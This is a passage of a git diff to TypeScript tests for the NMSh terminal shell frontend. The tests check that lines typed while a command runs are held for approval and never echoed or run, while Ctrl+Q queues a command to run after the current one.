f.settle('idle'); await settled(); - assert.deepEqual(f.adds(), [], 'the command is over: nothing is queued'); - assert.deepEqual(f.submitted, ['echo after'], 'the line runs as the next command, as Enter at the prompt does'); + assert.deepEqual(f.adds(), ['echo after'], 'held in the queue'); + assert.deepEqual(f.queueOps.find(op => op.op === 'add'), {op: 'add', text: 'echo after', condition: 'approve', typedWhile: 'ls'}, + 'its Enter was pressed while ls ran: it waits for approval'); + assert.deepEqual(f.submitted, [], 'never submitted at the prompt by itself'); assert.deepEqual(f.written, []); } finally { f.dispose(); } }); diff --git a/tests/inputOwnershipSecrets.test.ts b/tests/inputOwnershipSecrets.test.ts index 4a15a72a..9d5f6bd8 100644 --- a/tests/inputOwnershipSecrets.test.ts +++ b/tests/inputOwnershipSecrets.test.ts @@ -201,7 +201,7 @@ test('a second hidden question NMSh sees while the reply is held gets it, never } finally { f.dispose(); } }); -test('an ordinary command typed after a hidden answer, once the terminal echoes again, is type-ahead: never held, never discarded', async t => { +test('an ordinary command typed after a hidden answer, once the terminal echoes again: drawn, never discarded; Enter holds it for approval, Ctrl+Q runs it after', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -216,10 +216,24 @@ test('an ordinary command typed after a hidden answer, once the terminal echoes f.enter(); f.answer('visible'); await settled(); - assert.deepEqual(f.adds(), ['make test'], 'queued for after the command'); + assert.deepEqual(f.adds(), ['make test'], 'kept in the queue, not discarded'); + assert.equal(f.owner.state.entries[0]?.condition, 'approve', 'a plain Enter while sudo runs holds it for approval'); + f.type('make lint'); + f.answer('visible'); + await settled(); + f.key('\u0011'); f.complete(0); await settled(); - assert.deepEqual(f.dispatched, ['make test'], 'and runs after it, once'); + assert.deepEqual(f.dispatched, [], 'the held line is first, so nothing runs before the person approves it'); + f.enter(); + f.tick(1000); + f.enter(); + await settled(); + assert.deepEqual(f.dispatched, ['make test'], 'approved, it runs once'); + f.begin('make test'); + f.complete(0); + await settled(); + assert.deepEqual(f.dispatched, ['make test', 'make lint'], 'and the Ctrl+Q command after it, in order, with no approval'); assert.doesNotMatch(f.screen(), HELD); } finally { f.dispose(); } }); @@ -447,7 +461,7 @@ test('#426 residual: a reply queued before a timed prompt-less read NMSh never s assert.deepEqual(f.adds(), [SECRET], 'queued (NMSh could not know)'); const entry = f.owner.state.entries.find(item => item.text === SECRET); assert.equal(entry?.condition, 'approve', 'it waits for approval'); - assert.match(f.transcript(), /does not start with a command/u, 'a note says why'); + assert.match(f.transcript(), /never runs by itself/u, 'a note says why'); assert.equal(f.transcript().includes(SECRET), false, 'the note never repeats the text'); // No question was ever reported: the read gave up unseen, and the command succeeded. f.tick(1500); @@ -456,7 +470,7 @@ test('#426 residual: a reply queued before a timed prompt-less read NMSh never s } finally { f.dispose(); } }); -test('#426 residual: ordinary type-ahead is unchanged: commands, definitions and assignments typed while one runs still run after it', async t => { +test('#426 residual: Ctrl+Q type-ahead is unchanged: commands, definitions and assignments queued with it while one runs still run after it', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -465,8 +479,7 @@ test('#426 residual: ordinary type-ahead is unchanged: commands, definitions and for (const line of typed) { f.type(line); f.answer('visible'); await settled(); - f.enter(); - f.answer('visible'); await settled(); + f.key('\u0011'); } for (const line of typed) assert.equal(f.owner.state.entries.find(item => item.text === line)?.condition, undefined, `${line}: no approval asked`); f.tick(1500); diff --git a/tests/inputOwnershipSecretsLive.test.ts b/tests/inputOwnershipSecretsLive.test.ts index 314dc3f4..507fb011 100644 --- a/tests/inputOwnershipSecretsLive.test.ts +++ b/tests/inputOwnershipSecretsLive.test.ts @@ -103,16 +103,16 @@ for (const shell of ['zsh', 'bash'] as const) { } /** - * #426 residual, live: a reply typed and entered before a timed read with no prompt asks (here a program's read, which - * macOS cannot report at all). The read gives up and the command succeeds. The line used to run as a command; one that - * does not start with a command this shell knows now waits for approval, while a real command typed the same way still - * runs after it. + * #426, live: a reply typed and entered before a timed read with no prompt asks (here a program's read, which macOS + * cannot report at all). The read gives up and the command succeeds. The line used to run as a command; whatever it + * looks like (a secret, `ls`, an assignment), it now waits for approval and never runs by itself. A command queued + * with Ctrl+Q, the explicit run-after, still runs after it. */ const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); const perl = ['/usr/bin/perl', '/opt/homebrew/bin/perl', '/usr/local/bin/perl'].find(existsSync); for (const shell of ['zsh', 'bash', 'fish'] as const) { const available = supported && Boolean(perl) && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); - test(`live ${shell}: a reply entered before a timed read nobody saw: the read gives up, the command succeeds; never run, a real command still runs`, {skip: available ? false : `${shell} or perl not available`, timeout: 120_000}, async () => { + test(`live ${shell}: a reply entered before a timed read nobody saw: the read gives up, the command succeeds; never run, whatever it looks like; Ctrl+Q still runs`, {skip: available ? false : `${shell} or perl not available`, timeout: 120_000}, async () => { const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); if (shell !== 'fish') { const [rc, , content] = HISTORY[shell]; writeFileSync(join(sandbox.home, rc), content); } const frontend = sandbox.launch([], {cols: 120, rows: 36}); @@ -128,18 +128,20 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { const records = async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); const reading = `sleep 2; ${perl} -e 'alarm 1; '; true`; // The control's command reads nothing: where the platform reports the read (Linux), every entry typed during a - // command that asked waits for approval by design, a real command too. + // command that asked waits for approval by design, a Ctrl+Q command too. const quiet = 'sleep 2; true'; - // The real command first: an entry left waiting for approval would hold anything queued after it. - for (const [typed, runs, command] of [['echo QA-NEXT-RAN', true, quiet], [SECRET, false, reading]] as const) { + // The Ctrl+Q control first: an entry left waiting for approval would hold anything queued after it. The replies + // that follow look like a password, a command and an assignment; none may run. + const replies = [SECRET, 'ls', 'QA_ASSIGNED=1']; + for (const [index, [typed, runs, command]] of ([['echo QA-NEXT-RAN', true, quiet], ...replies.map(reply => [reply, false, reading])] as Array<[string, boolean, string]>).entries()) { const ran = async () => (await records()).filter(record => record.command === command).length; const mark = frontend.mark; const before = await ran(); frontend.pty.write(`${command}\r`); await pause(500); for (const char of typed) { frontend.pty.write(char); await pause(15); } - frontend.pty.write('\r'); - await frontend.waitFor(/1 (?:queued|waiting)/u, mark, 10_000); + frontend.pty.write(runs ? '\u0011' : '\r'); + await frontend.waitFor(new RegExp(`${runs ? 1 : index} (?:queued|waiting)`, 'u'), mark, 10_000); await until(async () => await ran() === before + 1, 20_000, 'the command to complete'); if (runs) { await until(async () => (await records()).some(record => record.command === typed), 15_000, 'the real command to run after it'); @@ -147,11 +149,14 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { } // Anything that would run after it has had time to start. await pause(2500); - assert.equal((await records()).some(record => record.command?.includes(SECRET)), false, 'never run: not in NMSh\'s journal'); - assert.match(strip(frontend.output.slice(mark)), /does not start with a command this shell knows/u); + assert.equal((await records()).some(record => record.command === typed), false, `${typed}: never run, not in NMSh's journal`); + assert.match(strip(frontend.output.slice(mark)), /never runs by itself/u); assert.doesNotMatch(strip(frontend.output.slice(mark)), new RegExp(`${SECRET}[^\\n]*(?:not found|No such|Unknown command)|(?:not found|No such|Unknown command)[^\\n]*${SECRET}`, 'u'), 'the shell never saw it as a command'); - if (shell !== 'fish') assert.equal(readFileSync(join(sandbox.home, HISTORY[shell][1]), 'utf8').includes(SECRET), false, 'not in the shell\'s history'); + if (shell !== 'fish') { + const history = readFileSync(join(sandbox.home, HISTORY[shell][1]), 'utf8').split('\n'); + assert.equal(history.some(line => line.replace(/^: \d+:\d+;/u, '') === typed), false, `${typed}: not in the shell's history`); + } } } finally { await sandbox.dispose(); } }); diff --git a/tests/inputQuarantine.test.ts b/tests/inputQuarantine.test.ts new file mode 100644 index 00000000..64427e96 --- /dev/null +++ b/tests/inputQuarantine.test.ts @@ -0,0 +1,291 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import type {InputRequest, LookResult} from '../src/session/inputState.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #426, final v0.22 hardening: input ownership, not the vocabulary of what was typed. + * + * A line entered with a plain Enter while a command runs, and NMSh has no evidence that the command asks, may be the + * reply to a read NMSh never saw (a timed read that gave up between looks, any program's read on macOS). Whether the + * text looks like a command says nothing about that: `yes`, `sudo`, `ls`, a one-time code and an assignment are all + * valid replies. Such a line is quarantined: a queue entry the owner never runs without the person's approval, shown + * as "typed while ran" rather than by its text. Ctrl+Q is the explicit way to queue a command to run after. + * + * Deterministic: looks are promises the test settles; clock and timers are the test's. No shell runs. + */ + +const SECRET = 'QZSECRETZQ'; +const REPLIES = ['yes', 'sudo', 'ls', '123456', 'X=1', 'hello world', SECRET]; +const settled = () => new Promise(done => setImmediate(done)); + +function fixture(features?: string[]) { + const frame = executionFrameFixture(110, 30); + if (features) Object.defineProperty(frame.session, 'features', {value: new Set(features), configurable: true}); + const written: string[] = []; + const queueOps: QueueOp[] = []; + const submitted: string[] = []; + const dispatched: string[] = []; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + Object.defineProperty(frame.session, 'interrupt', {value: () => {}, configurable: true}); + Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); frame.owner.request(op); }, configurable: true}); + frame.owner.on('state', (_state, news) => { if (news.dispatched) dispatched.push(news.dispatched.text); }); + Object.defineProperty(frame.app, 'submit', {value: async () => { submitted.push(frame.app['editor'].text); frame.app['editor'].clear(); }, configurable: true}); + let looks = 0; + let settle: (result: LookResult | undefined) => void = () => {}; + Object.defineProperty(frame.session, 'lookInput', {value: () => { + looks += 1; + return new Promise(resolve => { settle = resolve; }); + }, configurable: true}); + const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; + const text = () => frame.app['editor'].text as string; + const screen = () => frame.capture().frame.rows.map(line => stripAnsi(line)).join('\n'); + const transcript = () => (frame.app['output'].transcript().lines as Array>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + const state = (request?: InputRequest) => frame.session.emit('inputState', {...(request ? {request} : {}), timing: {waitedMs: 0, waits: 0}}); + const recalled = () => (frame.app['sessionSubmissions'] as Array<{text: string}>).map(item => item.text); + const entry = (line: string) => frame.owner.state.entries.find(item => item.text === line); + /** A line typed with the look answering, then a plain Enter (the look answers again). */ + const typeLine = async (line: string, result: LookResult | undefined = 'visible') => { + type(line); + settle(result); await settled(); + frame.app['onInput']('\r'); + settle(result); await settled(); + }; + return {...frame, written, submitted, dispatched, queueOps, type, text, screen, transcript, state, recalled, entry, typeLine, + key: (data: string) => frame.app['onInput'](data), enter: () => frame.app['onInput']('\r'), + looks: () => looks, answer: (result: LookResult | undefined) => settle(result)}; +} + +for (const reply of REPLIES) { + test(`quarantine: "${reply}" entered while a command runs, before a read NMSh never saw: never runs, even when the command succeeds`, async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1; read -t 1 QA_REPLY || true'); + await f.typeLine(reply); + const held = f.entry(reply); + assert.equal(held?.condition, 'approve', 'it waits for approval, whatever it looks like'); + assert.equal(held?.typedWhile, 'sleep', 'the owner knows it was typed while sleep ran'); + assert.equal(f.written.some(data => data.includes(reply)), false, 'not written to the terminal'); + assert.equal(f.recalled().includes(reply), false, 'not offered by Up as a command typed this session'); + assert.match(f.transcript(), /never runs by itself/u, 'a note says why'); + // No question was ever reported: the read gave up unseen, and the command succeeded. + f.tick(1500); + f.complete(0); await settled(); + assert.deepEqual(f.dispatched, [], 'never run after the command'); + assert.deepEqual(f.submitted, [], 'never submitted from the composer'); + } finally { f.dispose(); } + }); +} + +test('quarantine: the held line is shown by where it came from, never by its text, in the queue row, the list and the note', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1; read -t 1 QA_REPLY || true'); + await f.typeLine(SECRET); + assert.equal(f.screen().includes(SECRET), false, 'while the command runs'); + assert.equal(f.transcript().includes(SECRET), false, 'the note never repeats the text'); + f.complete(0); await settled(); + assert.equal(f.screen().includes(SECRET), false, 'at the prompt'); + assert.match(f.screen(), /typed while sleep ran/u, 'it says where it came from'); + } finally { f.dispose(); } +}); + +test('quarantine: approving is explicit and needs no display; Tab shows the text, Enter runs it once', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1'); + await f.typeLine('echo NEXT-QZ'); + f.complete(0); await settled(); + assert.deepEqual(f.dispatched, []); + // Enter at the empty composer arms the review; nothing runs from one key. + f.enter(); + assert.deepEqual(f.dispatched, []); + assert.equal(f.screen().includes('echo NEXT-QZ'), false, 'the review does not show it by itself'); + f.key('\t'); + assert.match(f.screen(), /echo NEXT-QZ/u, 'Tab shows it'); + f.tick(1000); + f.enter(); + await settled(); + assert.deepEqual(f.dispatched, ['echo NEXT-QZ'], 'approved, it runs once'); + } finally { f.dispose(); } +}); + +test('Ctrl+Q is the explicit run-after: a command queued with it while one runs runs after it succeeds, with no approval', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1'); + f.type('echo AFTER'); + f.answer('visible'); await settled(); + f.key('\u0011'); + assert.equal(f.entry('echo AFTER')?.condition, undefined); + assert.equal(f.entry('echo AFTER')?.typedWhile, undefined); + f.complete(0); await settled(); + assert.deepEqual(f.dispatched, ['echo AFTER']); + } finally { f.dispose(); } +}); + +test('the composer says where Enter sends a line while a command runs: held for approval, Ctrl+Q runs it after', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('make'); + assert.match(f.screen(), /Enter holds it for approval · Ctrl\+Q runs it after · Ctrl\+S sends to make/u); + } finally { f.dispose(); } +}); + +test('a reply while a question is shown still goes to the program, not the queue', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -r QA_REPLY'); + f.state({since: Date.now(), confidence: 'likely', mode: 'line'}); + f.type('yes'); + f.enter(); + assert.equal(f.written.join(''), 'yes\r'); + assert.deepEqual(f.owner.state.entries, []); + } finally { f.dispose(); } +}); + +test('typing held for a look while the command ended: its Enter was pressed while the command ran, so it is held, not run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1; read -t 1 QA_REPLY || true'); + f.type('yes'); + f.enter(); + // The command ends while the look is still out; the look then says nothing runs. + f.complete(0); await settled(); + f.answer('idle'); await settled(); + assert.deepEqual(f.submitted, [], 'not submitted at the prompt'); + assert.deepEqual(f.dispatched, []); + assert.equal(f.entry('yes')?.condition, 'approve', 'held for approval'); + } finally { f.dispose(); } +}); + +test('right after Ctrl+C: a command typed for the prompt is held until the prompt is back, then runs once, in order', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -r reply'); + f.key('\u0003'); + f.tick(50); + f.type('ls -la'); + f.enter(); + assert.equal(f.written.some(data => data.includes('ls -la')), false, 'not written while the stopped command still owns the terminal'); + assert.deepEqual(f.submitted, []); + f.complete(130); await settled(); + assert.deepEqual(f.submitted, ['ls -la'], 'runs at the verified prompt'); + assert.deepEqual(f.dispatched, []); + } finally { f.dispose(); } +}); + +test('right after Ctrl+C, the program keeps running and asks: the line is its reply, never a command', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('trap "" INT; read -r reply'); + f.key('\u0003'); + f.tick(50); + f.type('yes'); + f.enter(); + f.tick(400); + // A question asked after the stop: the program is still there and reads. + f.state({since: Date.now(), confidence: 'likely', mode: 'line'}); + await settled(); + assert.equal(f.written.join(''), 'yes\r', 'it reaches the program that asked'); + f.complete(0); await settled(); + assert.deepEqual(f.submitted, []); + assert.deepEqual(f.dispatched, []); + } finally { f.dispose(); } +}); + +test('right after Ctrl+C, the program survives and nothing asks: when the stop window ends the line is held for approval', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('trap "" INT; sleep 5; read -t 1 r'); + f.key('\u0003'); + f.tick(50); + f.type('123456'); + f.enter(); + f.tick(2500); + t.mock.timers.tick(2500); + await settled(); + assert.equal(f.entry('123456')?.condition, 'approve', 'held for approval'); + assert.equal(f.written.some(data => data.includes('123456')), false); + f.complete(0); await settled(); + assert.deepEqual(f.submitted, []); + assert.deepEqual(f.dispatched, []); + } finally { f.dispose(); } +}); + +test('right after Ctrl+C, a question was seen and then the command ended: the line is held, not run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('trap "exit 0" INT; read -r reply'); + f.key('\u0003'); + f.tick(50); + f.state({since: Date.now(), confidence: 'likely', mode: 'line'}); + f.state(); + f.type('yes'); + f.enter(); + f.complete(0); await settled(); + assert.deepEqual(f.submitted, []); + assert.equal(f.entry('yes')?.condition, 'approve'); + } finally { f.dispose(); } +}); + +test('an older session service that cannot say what a look saw: typing while a command runs stays held, not drawn', async t => { + const f = fixture(['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'background-tasks', 'input-look', 'queue-timeline', 'queue-history']); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sudo -k true'); + f.type(SECRET); + f.answer(undefined); await settled(); + f.answer(undefined); await settled(); + assert.equal(f.text(), '', 'not in the composer'); + assert.equal(f.screen().includes(SECRET), false, 'not drawn'); + assert.match(f.screen(), /held, not shown/u); + // Ctrl+S is the person's explicit choice to send it. + f.key('\u0013'); + assert.equal(f.written.join(''), SECRET); + } finally { f.dispose(); } +}); + +test('typing the command never read, held by the owner at its end, is announced without its text and waits for approval', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -t 1 code; sleep 2'); + // The owner drained a line the program never read and holds it (see shellSession tests); the frontend only sees the entry. + f.owner.holdUnread(`${SECRET}\r`, 'read'); + f.complete(0); await settled(); + assert.equal(f.owner.state.entries[0]?.condition, 'approve'); + assert.equal(f.screen().includes(SECRET), false); + assert.match(f.transcript(), /did not read/u); + assert.equal(f.transcript().includes(SECRET), false); + assert.deepEqual(f.dispatched, []); + } finally { f.dispose(); } +}); + +test('a held line at the head of the queue never holds the prompt: a command submitted there runs now', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1'); + await f.typeLine('yes'); + f.complete(0); await settled(); + f.type('echo NOW'); + f.enter(); + assert.deepEqual(f.submitted, ['echo NOW'], 'submitted at the prompt, not queued behind the held line'); + assert.equal(f.owner.state.entries.length, 1, 'the held line still waits'); + } finally { f.dispose(); } +}); diff --git a/tests/outputSelectionLive.test.ts b/tests/outputSelectionLive.test.ts index f166c02e..cc920122 100644 --- a/tests/outputSelectionLive.test.ts +++ b/tests/outputSelectionLive.test.ts @@ -27,7 +27,7 @@ for (const shellBackend of ['zsh', 'bash', 'fish'] as const) { assert.equal(read(), 'a\tb\n日本語\n\n'); mark = frontend.mark; frontend.pty.write('sleep 1\r'); await frontend.waitFor(/Running sleep 1/u, mark); - frontend.pty.write('seq 1 400\r'); + frontend.pty.write('seq 1 400\u0011'); await until(async () => (await sandbox.transcripts().list()).some(session => session.transcript.records.some(record => record.command === 'seq 1 400' && record.queued === true)), 15_000, 'queued output to complete'); const queued = (await sandbox.transcripts().list()).flatMap(session => session.transcript.records).find(record => record.command === 'seq 1 400')!; assert.equal(queued.expanded, false, 'Slice 2C queued output remains folded before selection'); diff --git a/tests/postV020Folding.test.ts b/tests/postV020Folding.test.ts index ed9abb14..a2b45000 100644 --- a/tests/postV020Folding.test.ts +++ b/tests/postV020Folding.test.ts @@ -243,7 +243,8 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) test(`real ${shell} queued const foregroundDone = f.run('sleep 1.5'); await started; f.app['editor'].replaceText('seq 1 450'); - f.app['handleKey']({kind: 'enter'}); + // Ctrl+Q queues a command to run after (#426: a plain Enter would hold the line for approval). + f.app['handleKey']({kind: 'queueCommand'}); const deadline = Date.now() + 10000; // enqueue() clears the editor synchronously but the entry itself arrives with the session's queueState // event; under load the two observables can separate by a task tick, so wait for both (still bounded). diff --git a/tests/queueConditionOwnershipLive.test.ts b/tests/queueConditionOwnershipLive.test.ts index 868715cb..99d355ac 100644 --- a/tests/queueConditionOwnershipLive.test.ts +++ b/tests/queueConditionOwnershipLive.test.ts @@ -41,7 +41,7 @@ for (const [index, shell] of (['zsh', 'bash', 'fish'] as const).entries()) { let mark = first.mark; first.pty.write(`${failed.command}\r`); await first.waitFor(/CONDITION-HOLD/u, mark); - first.pty.write(`${afterFailure}\r`); + first.pty.write(`${afterFailure}\u0011`); await first.waitFor(/Queue · 2 commands/u, mark); first.pty.write('/queue\r'); await first.waitFor(/Command queue/u, mark); @@ -57,14 +57,14 @@ for (const [index, shell] of (['zsh', 'bash', 'fish'] as const).entries()) { mark = first.mark; first.pty.write(`sleep ${duration}\r`); await until(() => inForeground(duration), 20_000, 'sleep owns input before interrupt'); - first.pty.write(`${afterInterrupt}\r`); + first.pty.write(`${afterInterrupt}\u0011`); await first.waitFor(/Queue · 2 commands/u, mark); first.pty.write('/queue\r'); await first.waitFor(/Command queue/u, mark); first.pty.write('w'); await first.waitFor(/runs even after a failure/u, mark); first.pty.write('\u001b[27u'); - await first.waitFor(/Enter queues the next command/u, mark); + await first.waitFor(/Enter holds it for approval · Ctrl\+Q runs it after/u, mark); first.pty.write('\u0003'); await first.waitFor(/Queue paused:[\s\S]*was interrupted/u, mark); await first.run('echo AFTER-INTERRUPT', /AFTER-INTERRUPT/u); @@ -77,7 +77,7 @@ for (const [index, shell] of (['zsh', 'bash', 'fish'] as const).entries()) { mark = first.mark; first.pty.write(`${gated.command}\r`); await first.waitFor(/CONDITION-HOLD/u, mark); - first.pty.write(`${approved}\r`); + first.pty.write(`${approved}\u0011`); await first.waitFor(/Queue · 2 commands/u, mark); first.pty.write('/queue\r'); await first.waitFor(/Command queue/u, mark); diff --git a/tests/queueConditionsLive.test.ts b/tests/queueConditionsLive.test.ts index 99c55e5e..cdf91509 100644 --- a/tests/queueConditionsLive.test.ts +++ b/tests/queueConditionsLive.test.ts @@ -43,7 +43,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { let mark = frontend.mark; frontend.pty.write('sleep 2\r'); await frontend.waitFor(/Running sleep 2|Cooking|[A-Z][a-z]+…/u, mark); - frontend.pty.write(`touch ${marker}\r`); + frontend.pty.write(`touch ${marker}\u0011`); await frontend.waitFor(/› touch .*Next/u, mark); frontend.pty.write('/queue\r'); await frontend.waitFor(/Command queue[\s\S]*touch/u, mark); @@ -72,7 +72,7 @@ test('live: "runs even after a failure" goes on after a plain failure; the defau const mark = frontend.mark; frontend.pty.write(`sh -c 'sleep 1; exit 3'\r`); await frontend.waitFor(/Running sh -c|[A-Z][a-z]+…/u, mark); - frontend.pty.write(`touch ${cleanup}\r`); + frontend.pty.write(`touch ${cleanup}\u0011`); await frontend.waitFor(/Queue · 2 commands/u, mark); frontend.pty.write('/queue\r'); await frontend.waitFor(/Command queue/u, mark); diff --git a/tests/queuePreviewLive.test.ts b/tests/queuePreviewLive.test.ts index 08cf7e54..eaf80909 100644 --- a/tests/queuePreviewLive.test.ts +++ b/tests/queuePreviewLive.test.ts @@ -36,7 +36,8 @@ async function pausedQueue(frontend: Frontend, entries: string[]) { const mark = frontend.mark; frontend.pty.write("sleep 2; false\r"); await frontend.waitFor(/Running sleep 2|[A-Z][a-z]+…/u, mark); - for (const entry of entries) frontend.pty.write(`${entry}\r`); + // Ctrl+Q queues to run after (#426: a plain Enter would hold each for approval). + for (const entry of entries) frontend.pty.write(`${entry}\u0011`); // One plain entry stays the one-line row; more show as the list. await frontend.waitFor(new RegExp(`Queue · ${entries.length + 1} commands`, 'u'), mark); await frontend.waitFor(/Queue paused: sleep 2; false failed \(exit 1\)\./u, mark, 20_000); @@ -50,7 +51,7 @@ test('live: the running queue shows what runs next and in what order; the pause const mark = frontend.mark; frontend.pty.write('sleep 3\r'); await frontend.waitFor(/Running sleep 3|[A-Z][a-z]+…/u, mark); - for (const entry of ['echo Q1', 'echo Q2', 'echo Q3', 'echo Q4']) frontend.pty.write(`${entry}\r`); + for (const entry of ['echo Q1', 'echo Q2', 'echo Q3', 'echo Q4']) frontend.pty.write(`${entry}\u0011`); // A redraw writes only the rows that changed: each row is checked on its own. for (const row of [/Queue · 5 commands/u, /› echo Q1 +Next/u, /echo Q2 +Queued/u, /\+2 more/u]) await frontend.waitFor(row, mark); for (const entry of ['echo Q1', 'echo Q2', 'echo Q3', 'echo Q4']) await until(async () => await runs(sandbox, entry) === 1, 15_000, `${entry} once`); @@ -58,7 +59,7 @@ test('live: the running queue shows what runs next and in what order; the pause const stop = frontend.mark; frontend.pty.write('sleep 20\r'); await frontend.waitFor(/Running sleep 20|[A-Z][a-z]+…/u, stop); - frontend.pty.write('echo LATER\r'); + frontend.pty.write('echo LATER\u0011'); await frontend.waitFor(/Queue · 2 commands/u, stop); frontend.pty.write('\u0003'); await frontend.waitFor(/Queue paused · 1 waiting|Queue paused · 1 pending/u, stop, 20_000); @@ -109,7 +110,7 @@ test('live: an entry that asks first is approved in place after its review; a ty let mark = frontend.mark; frontend.pty.write('sleep 4\r'); await frontend.waitFor(/Running sleep 4|[A-Z][a-z]+…/u, mark); - frontend.pty.write(`touch ${approved}\r`); + frontend.pty.write(`touch ${approved}\u0011`); await frontend.waitFor(/Queue · 2 commands/u, mark); frontend.pty.write('/queue\r'); await frontend.waitFor(/Command queue[\s\S]*touch/u, mark); diff --git a/tests/queueQuarantine.test.ts b/tests/queueQuarantine.test.ts new file mode 100644 index 00000000..93511036 --- /dev/null +++ b/tests/queueQuarantine.test.ts @@ -0,0 +1,63 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {CommandQueue} from '../src/session/CommandQueue.js'; +import {QueueDispatcher, unreadLines} from '../src/session/QueueDispatcher.js'; +import {queueOpFrom, queueStateFrom, queueStateMessage} from '../src/session/SessionProtocol.js'; +import {ShellProtocolDecoder} from '../src/shell/ShellProtocol.js'; + +/** + * #426 hardening, owner side: a line typed while a program ran (`typedWhile`) is the person's to approve. The owner + * enforces it, whatever a frontend sends: such an entry always waits for approval, its condition cannot be cleared to + * run by itself, and only the person's edit (which shows it) makes it an ordinary entry. + */ + +test('owner: an entry typed while a program ran always waits for approval, even if added without a condition', () => { + const queue = new CommandQueue(() => 1); + assert.equal(queue.apply({op: 'add', text: 'yes', typedWhile: 'sleep'}), undefined); + assert.deepEqual(queue.state.entries[0], {id: 1, text: 'yes', addedAt: 1, condition: 'approve', typedWhile: 'sleep'}); + assert.equal(queue.take(), undefined, 'never taken unapproved'); + assert.match(queue.apply({op: 'condition', id: 1}) ?? '', /approv/u, 'its approval cannot be removed so it runs by itself'); + assert.match(queue.apply({op: 'condition', id: 1, condition: 'always'}) ?? '', /approv/u); + assert.equal(queue.take(), undefined); + assert.equal(queue.apply({op: 'approve', id: 1}), undefined); + assert.equal(queue.take()?.text, 'yes', 'runs once approved'); +}); + +test('owner: editing a held line is the person showing and changing it: it stays an approval, no longer sealed', () => { + const queue = new CommandQueue(() => 1); + queue.apply({op: 'add', text: 'secret', typedWhile: 'sudo'}); + queue.apply({op: 'edit', id: 1, text: 'echo fixed'}); + assert.deepEqual(queue.state.entries[0], {id: 1, text: 'echo fixed', addedAt: 1, condition: 'approve'}); +}); + +test('wire: typedWhile is bounded, control-free and round-trips; an older frontend just ignores it', () => { + assert.deepEqual(queueOpFrom(JSON.stringify({op: 'add', text: 'x', typedWhile: 'make'})), {op: 'add', text: 'x', typedWhile: 'make'}); + assert.equal(queueOpFrom(JSON.stringify({op: 'add', text: 'x', typedWhile: 'a\u001b[2Jb'})), undefined, 'control characters refused'); + assert.equal(queueOpFrom(JSON.stringify({op: 'add', text: 'x', typedWhile: 7})), undefined); + const long = queueOpFrom(JSON.stringify({op: 'add', text: 'x', typedWhile: 'p'.repeat(500)})); + assert.equal(long?.op === 'add' ? long.typedWhile?.length : 0, 64, 'bounded'); + const queue = new CommandQueue(() => 5); + queue.apply({op: 'add', text: 'yes', typedWhile: 'sleep'}); + const message = queueStateMessage({...queue.state, revision: 1}, {}); + assert.deepEqual(queueStateFrom(message.state)?.entries[0], {id: 1, text: 'yes', addedAt: 5, condition: 'approve', typedWhile: 'sleep'}); +}); + +test('unread typing a command never read becomes held lines: edits applied, terminal sequences dropped, never run', () => { + assert.deepEqual(unreadLines('a\rb\u007fc\r\u001b[Ad\u0015e\nf\u0017g h\u0008\u0008i\r\u001b]11;rgb:0/0/0\u0007\u001b[?62;22cpartial'), + ['a', 'c', 'e', 'gi', 'partial']); + assert.deepEqual(unreadLines('\r\n \r'), [], 'nothing typed, nothing held'); + assert.equal(unreadLines(Array.from({length: 40}, (_, i) => `l${i}`).join('\r')).length, 10, 'bounded'); + const queue = new CommandQueue(() => 1); + const dispatcher = new QueueDispatcher({isReady: true, adapter: {id: 'zsh'}, submit: () => { throw new Error('never submitted'); }}, queue); + dispatcher.onExec('read -t 1 code; sleep 2'); + assert.equal(dispatcher.holdUnread('123456\recho hi\r', 'read'), 2); + dispatcher.onPrompt(0); + assert.deepEqual(queue.state.entries.map(entry => [entry.text, entry.condition, entry.typedWhile]), [['123456', 'approve', 'read'], ['echo hi', 'approve', 'read']]); +}); + +test('shell protocol: an unread marker carries the bytes as hex, decoded exactly; malformed ones are output', () => { + const decoder = new 